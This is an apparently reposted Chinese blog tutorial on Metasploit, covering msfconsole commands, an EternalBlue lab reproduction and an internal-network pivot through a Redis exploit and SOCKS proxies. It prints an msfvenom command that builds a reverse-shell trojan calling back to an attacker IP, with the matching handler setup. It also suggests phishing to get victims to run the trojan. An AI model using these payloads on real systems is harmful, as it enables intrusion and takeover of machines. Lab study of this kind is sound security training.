[内网基础]msf使用&内网实战演示

[内网基础]msf使用&内网实战演示

msf是一款渗透测试使用的框架,其中包含了很多工具。
官方手册地址:
https://docs.metasploit.com/docs/using-metasploit/

msfconsole的使用

msfconsole是KaliLinux自带的一款渗透测试工具,是MSF框架的一个接口,里面集成了十分多的漏洞以及其利用方式。
msfconsole常用命令:

命令 作用
search 搜索和demo相关的内容
use <num/Name> 使用对应的payload
options 显示payload的选项值
set 指定
setg 全局指定
unset 取消设置
back 返回上一层
banner 显示横幅
cd 同linux下的cd命令
color <‘true’|‘false’|‘auto’> 颜色显示
connect 和某个主机通信
show 显示指定模块
unload 卸载模块
run 开始执行
info 显示一个或多个模块的信息,
  • 作者和许可信息
  • 漏洞参考(即:CVE、BID 等)
  • 模块可能具有的任何有效负载限制
    |
    | advanced | 显示详细的信息 |
    | jobs | 显示后台运行的工作 |
    | route | route命令允许您通过会话或“comm”路由套接字,提供基本的旋转功能。要添加路由,您需要传递目标子网和网络掩码,然后是会话 (comm) 编号 |

各种选项的详细使用效果可以参考这个网站:
https://www.offensive-security.com/metasploit-unleashed/msfconsole-commands/#banner

msvonem使用

msvonem有很多参数,普通使用时最重要的两个参数是-p和-f
其中-p用来指定要生成的payload,-f用来指定payload格式
其他常用的选项如-b可以使用编码功能
-l指定编码器
-i多次编码,后面接编码的次数

msvonem使用

生成linux的木马:
这是最简单的一种方式,生成一个反弹shell的木马,其中要注意LHOST和LPORT的设置,这两项都是自己kali机器的ip和端口。

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.2.24 LPORT=4444 -f elf > mshell.elf

![image.png](https://img-blog.csdnimg.cn/img_convert/05dd6f4223ceb1bbef6646ed8c43164f.png#averageHue=#262b3b&clientId=uc4c61617-a602-4&crop=0&crop=0&crop=1&crop=1&from=paste&height=169&id=u35eaf1b1&margin=[object Object]&name=image.png&originHeight=211&originWidth=828&originalType=binary&ratio=1&rotation=0&showTitle=false&size=38617&status=done&style=none&taskId=u4d56cc6a-0fc7-473b-a544-7317fc0c1e8&title=&width=662.4)
然后在msfconsole中进行如下操作:

use exploit/multi/handler  #使用监听模块
set payload linux/x64/meterpreter/reverse_tcp #使用和木马相同的payload
set lhost 192.168.2.24 #kaili 的 ip
set lport 4444 #木马的端口
run #执行

然后在被害机上执行一下刚才的木马文件(上传和如何让对方执行就要想办法了,你可以通过诱骗钓鱼的方式):
![image.png](https://img-blog.csdnimg.cn/img_convert/68171aa0b98979c7df3e1fec9bd526f8.png#averageHue=#fefefe&clientId=uc4c61617-a602-4&crop=0&crop=0&crop=1&crop=1&from=paste&height=45&id=u610b49cf&margin=[object Object]&name=image.png&originHeight=56&originWidth=343&originalType=binary&ratio=1&rotation=0&showTitle=false&size=3750&status=done&style=none&taskId=u31b52455-fd58-4f5b-8950-e7b78ccac54&title=&width=274.4)
![image.png](https://img-blog.csdnimg.cn/img_convert/64c961dba0c69ba1516724ae3dee71ad.png#averageHue=#262b3b&clientId=uc4c61617-a602-4&crop=0&crop=0&crop=1&crop=1&from=paste&height=205&id=u6ecb9e06&margin=[object Object]&name=image.png&originHeight=256&originWidth=924&originalType=binary&ratio=1&rotation=0&showTitle=false&size=46679&status=done&style=none&taskId=u653e9348-cbef-4da4-ae3d-9f9e2f2f417&title=&width=739.2)
这就是生成木马文件的最基本操作方式啦,要加密什么的话可以使用其他参数(不过msf这个东西已经被研究的差不多了,用它做免杀基本不会成功了)

使用永恒之蓝进行msfconsole的演示

实验环境:

windows7一台,记得卸载掉安全补丁(现在也有一部分机器没有打永恒之蓝的补丁,一般是一些比较老的winserver2008)
kali一台

漏洞复现

首先搜索永恒之蓝的代号ms17_101,此时msconsole会显示出搜索结果:
![image.png](https://img-blog.csdnimg.cn/img_convert/ea99f61fdd721b5405e8fc1a99599eb8.png#averageHue=#262e3c&clientId=uc4c61617-a602-4&crop=0&crop=0&crop=1&crop=1&from=paste&height=286&id=ua1b5db0f&margin=[object Object]&name=image.png&originHeight=358&originWidth=1173&originalType=binary&ratio=1&rotation=0&showTitle=false&size=114985&status=done&style=none&taskId=ua6eb722a-6de7-4698-8a50-979eaba1f15&title=&width=938.4)
使用msfconsole的ues命令,选择想要使用的模块,并且使用set命令设置rhost,最后使用run进行运行(攻击):
![image.png](https://img-blog.csdnimg.cn/img_convert/d68a0d4a822bb4b44539197e26dd189c.png#averageHue=#262e3d&clientId=uc4c61617-a602-4&crop=0&crop=0&crop=1&crop=1&from=paste&height=377&id=u962dbd93&margin=[object Object]&name=image.png&originHeight=471&originWidth=1186&originalType=binary&ratio=1&rotation=0&showTitle=false&size=195436&status=done&style=none&taskId=u086e8fce-d0c3-4fce-bd8c-c7921fdf4c4&title=&width=948.8)
攻击成功后使用shell命令进入windows控制台:
![image.png](https://img-blog.csdnimg.cn/img_convert/8ca76a7ad7e93bee8abe4da4c937f463.png#averageHue=#262e3c&clientId=uc4c61617-a602-4&crop=0&crop=0&crop=1&crop=1&from=paste&height=222&id=u73172e6f&margin=[object Object]&name=image.png&originHeight=278&originWidth=1173&originalType=binary&ratio=1&rotation=0&showTitle=false&size=80435&status=done&style=none&taskId=u871e2ecc-f8de-4bf0-a9f0-bf2392ec57b&title=&width=938.4)
这时候使用net命令创建新用户,赋予管理员权限并设置密码:
![image.png](https://img-blog.csdnimg.cn/img_convert/091a72d19e6f1ba3d6dffc8c9502bed6.png#averageHue=#242b39&clientId=uc4c61617-a602-4&crop=0&crop=0&crop=1&crop=1&from=paste&height=327&id=u37cd3059&margin=[object Object]&name=image.png&originHeight=409&originWidth=1178&originalType=binary&ratio=1&rotation=0&showTitle=false&size=89504&status=done&style=none&taskId=u2470d77b-cee1-447b-803b-d333a903117&title=&width=942.4)
远程桌面连接:
![image.png](https://img-blog.csdnimg.cn/img_convert/02f8e6f082aa7e47a29dd510cb66684a.png#averageHue=#5e87a4&clientId=uc4c61617-a602-4&crop=0&crop=0&crop=1&crop=1&from=paste&height=648&id=ue95537c9&margin=[object Object]&name=image.png&originHeight=810&originWidth=1814&originalType=binary&ratio=1&rotation=0&showTitle=false&size=341824&status=done&style=none&taskId=ufb43b3a1-cc0f-4423-9ec3-2d02aa4c6fe&title=&width=1451.2)
至此就完成了使用msfconsole对永恒之蓝漏洞的复现

模拟实战环境,内网渗透

环境配置

win7(无安全补丁,不出网)一台 IP:192.168.149.136
centos一台(模拟被攻击的服务器) IP:192.168.149.138 IP2:192.168.2.214
kali一台 IP:192.168.2.24
目的:使用kali的msfconsole来攻击不出网的win7的永恒之蓝漏洞
kali不通目标主机
![image.png](https://img-blog.csdnimg.cn/img_convert/7f8ed1f710e25b6907402bc42c4a8a4f.png#averageHue=#252b3a&clientId=uc4c61617-a602-4&crop=0&crop=0&crop=1&crop=1&from=paste&height=139&id=ueb00432f&margin=[object Object]&name=image.png&originHeight=174&originWidth=828&originalType=binary&ratio=1&rotation=0&showTitle=false&size=35461&status=done&style=none&taskId=u75777f17-9ad2-4336-966c-758d0938fbf&title=&width=662.4)
![image.png](https://img-blog.csdnimg.cn/img_convert/5625c33724983819bd61a57feab416e3.png#averageHue=#242a38&clientId=uc4c61617-a602-4&crop=0&crop=0&crop=1&crop=1&from=paste&height=385&id=u87078c7f&margin=[object Object]&name=image.png&originHeight=481&originWidth=828&originalType=binary&ratio=1&rotation=0&showTitle=false&size=83273&status=done&style=none&taskId=u2d370fbd-afa2-48fc-ba4d-1c5508cefe5&title=&width=662.4)

攻击流程复现

首先在centos上起一个redis服务(上传木马那个刚才已经玩过了,换个方式):
![image.png](https://img-blog.csdnimg.cn/img_convert/e5095e2b2e593b540080acf4e7aa5dfe.png#averageHue=#fefefe&clientId=uc4c61617-a602-4&crop=0&crop=0&crop=1&crop=1&from=paste&height=327&id=ub9120a9e&margin=[object Object]&name=image.png&originHeight=409&originWidth=731&originalType=binary&ratio=1&rotation=0&showTitle=false&size=38775&status=done&style=none&taskId=uf499abc1-3d23-4e56-be8d-279a96f3e6d&title=&width=584.8)
使用kali的redis未授权访问漏洞exp来攻击这台机器:
查找一下可用的exp,这里我用了第六个:
![image.png](https://img-blog.csdnimg.cn/img_convert/5ca549e2ce2dd8e70ee3244a993aae3a.png#averageHue=#262d3c&clientId=uc4c61617-a602-4&crop=0&crop=0&crop=1&crop=1&from=paste&height=415&id=u5647e404&margin=[object Object]&name=image.png&originHeight=519&originWidth=1178&originalType=binary&ratio=1&rotation=0&showTitle=false&size=167321&status=done&style=none&taskId=u63574733-af14-44a8-b25b-88c71eaf15e&title=&width=942.4)
看一下options:
![image.png](https://img-blog.csdnimg.cn/img_convert/382d9cbd74e525e323e4e72b85e24406.png#averageHue=#252b39&clientId=uc4c61617-a602-4&crop=0&crop=0&crop=1&crop=1&from=paste&height=406&id=ua12ac674&margin=[object Object]&name=image.png&originHeight=508&originWidth=1163&originalType=binary&ratio=1&rotation=0&showTitle=false&size=124364&status=done&style=none&taskId=u9d64e12b-62c4-405a-947d-6efbbd9243b&title=&width=930.4)
设置好rhost和lhost,然后执行run:
![image.png](https://img-blog.csdnimg.cn/img_convert/ccb4d0ab2ed628f55bd47ab417f4583c.png#averageHue=#252b39&clientId=uc4c61617-a602-4&crop=0&crop=0&crop=1&crop=1&from=paste&height=366&id=u6bfa5a8f&margin=[object Object]&name=image.png&originHeight=458&originWidth=1161&originalType=binary&ratio=1&rotation=0&showTitle=false&size=119158&status=done&style=none&taskId=u806ef95e-5d0c-410f-bed3-3718a383f1f&title=&width=928.8)
拿到shell后可以不用变成交互式,因为本次实验不太需要(虽然我弄了),直接background放后台就可以了:
![image.png](https://img-blog.csdnimg.cn/img_convert/f99c34e154a03ec096c654f1a6efd8f4.png#averageHue=#252c3a&clientId=uc4c61617-a602-4&crop=0&crop=0&crop=1&crop=1&from=paste&height=457&id=u8f30ea20&margin=[object Object]&name=image.png&originHeight=571&originWidth=1191&originalType=binary&ratio=1&rotation=0&showTitle=false&size=158353&status=done&style=none&taskId=ub6bd7e92-6215-4f71-97ff-179fbd80380&title=&width=952.8)
看一下jobs和sessions里面的内容,不要有干扰,可以看到这里绘画已经被保存了:
![image.png](https://img-blog.csdnimg.cn/img_convert/352443566c344d87df2921b2139ded32.png#averageHue=#242a38&clientId=uc4c61617-a602-4&crop=0&crop=0&crop=1&crop=1&from=paste&height=226&id=u5c0539a5&margin=[object Object]&name=image.png&originHeight=283&originWidth=1185&originalType=binary&ratio=1&rotation=0&showTitle=false&size=63223&status=done&style=none&taskId=u31ed6fb9-31ab-4f91-9985-d125ae37534&title=&width=948)
之后执行添加路由命令,然后找一下可以用的socks代理:
![image.png](https://img-blog.csdnimg.cn/img_convert/03f8d02145fde6af9f16582926330ddf.png#averageHue=#252b3a&clientId=uc4c61617-a602-4&crop=0&crop=0&crop=1&crop=1&from=paste&height=233&id=uc5f522e0&margin=[object Object]&name=image.png&originHeight=291&originWidth=1183&originalType=binary&ratio=1&rotation=0&showTitle=false&size=87285&status=done&style=none&taskId=ud60c6f5d-8c47-4ade-85e0-e71c46c92a0&title=&width=946.4)
默认就可以了直接使用run命令执行:
![image.png](https://img-blog.csdnimg.cn/img_convert/625b3e8a6cd4c55f798a76496b328635.png#averageHue=#242b39&clientId=uc4c61617-a602-4&crop=0&crop=0&crop=1&crop=1&from=paste&height=335&id=u153bf495&margin=[object Object]&name=image.png&originHeight=419&originWidth=1163&originalType=binary&ratio=1&rotation=0&showTitle=false&size=110632&status=done&style=none&taskId=u338b03dc-06c0-4529-9dd1-b934cbc87fe&title=&width=930.4)
之后执行jobs命令应该就可以看到代理了:
![image.png](https://img-blog.csdnimg.cn/img_convert/739d1bc7ddedbb5ef977c30555e90d49.png#averageHue=#252a39&clientId=uc4c61617-a602-4&crop=0&crop=0&crop=1&crop=1&from=paste&height=113&id=u375c74d1&margin=[object Object]&name=image.png&originHeight=141&originWidth=560&originalType=binary&ratio=1&rotation=0&showTitle=false&size=21562&status=done&style=none&taskId=ueef2b007-e81b-4584-b4ea-73ebe7ed1a4&title=&width=448)
这里我用set制定了8888端口,又开了一个socks:
![image.png](https://img-blog.csdnimg.cn/img_convert/c613365f584b335c1360b163f1d91fea.png#averageHue=#252a3a&clientId=uc4c61617-a602-4&crop=0&crop=0&crop=1&crop=1&from=paste&height=211&id=u5eb647ad&margin=[object Object]&name=image.png&originHeight=264&originWidth=720&originalType=binary&ratio=1&rotation=0&showTitle=false&size=50839&status=done&style=none&taskId=ub912b7f6-5203-4462-9823-e15a5f3399a&title=&width=576)
之后修改/etc/proxychains4.conf文件的内容,在文件最下方添加刚才创建的两个socks,端口注意对应好:
![image.png](https://img-blog.csdnimg.cn/img_convert/1dccfba9850a50f90b3eb0c19bf329cd.png#averageHue=#262d3e&clientId=uc4c61617-a602-4&crop=0&crop=0&crop=1&crop=1&from=paste&height=71&id=ue52437e5&margin=[object Object]&name=image.png&originHeight=89&originWidth=431&originalType=binary&ratio=1&rotation=0&showTitle=false&size=9719&status=done&style=none&taskId=uabc11bcd-8d2d-41bc-8c65-20e486a7566&title=&width=344.8)
使用proxychains msfconsole这条命令应用代理启动一个msfconsole:
![image.png](https://img-blog.csdnimg.cn/img_convert/f3ee52e4bfd4cb46b61ac491698665b7.png#averageHue=#252b39&clientId=uc4c61617-a602-4&crop=0&crop=0&crop=1&crop=1&from=paste&height=461&id=u58fabe65&margin=[object Object]&name=image.png&originHeight=576&originWidth=1173&originalType=binary&ratio=1&rotation=0&showTitle=false&size=110346&status=done&style=none&taskId=ude64f15f-2ecc-4df8-9e6d-8474aae4dd4&title=&width=938.4)
然后就和上方利用永恒之蓝的过程一样了,可以看到走了代理的端口到了目标机器:
![image.png](https://img-blog.csdnimg.cn/img_convert/2e3012df6a32c8909aadc287c05f4dcd.png#averageHue=#28303f&clientId=uc4c61617-a602-4&crop=0&crop=0&crop=1&crop=1&from=paste&height=420&id=u58b34141&margin=[object Object]&name=image.png&originHeight=525&originWidth=1169&originalType=binary&ratio=1&rotation=0&showTitle=false&size=225498&status=done&style=none&taskId=ube117d9d-653b-4d81-ae03-0dc54d95bde&title=&width=935.2)
![image.png](https://img-blog.csdnimg.cn/img_convert/0e247a37d03c6208637ac1be19eeaec8.png#averageHue=#282f3f&clientId=uc4c61617-a602-4&crop=0&crop=0&crop=1&crop=1&from=paste&height=365&id=ud52dfc07&margin=[object Object]&name=image.png&originHeight=456&originWidth=1143&originalType=binary&ratio=1&rotation=0&showTitle=false&size=182176&status=done&style=none&taskId=u4cfb9e4c-2d1d-487a-ad52-c7626a93767&title=&width=914.4)
至此内网环境的漏洞复现完成。

猜你喜欢

转载自blog.csdn.net/beijimao_/article/details/127858124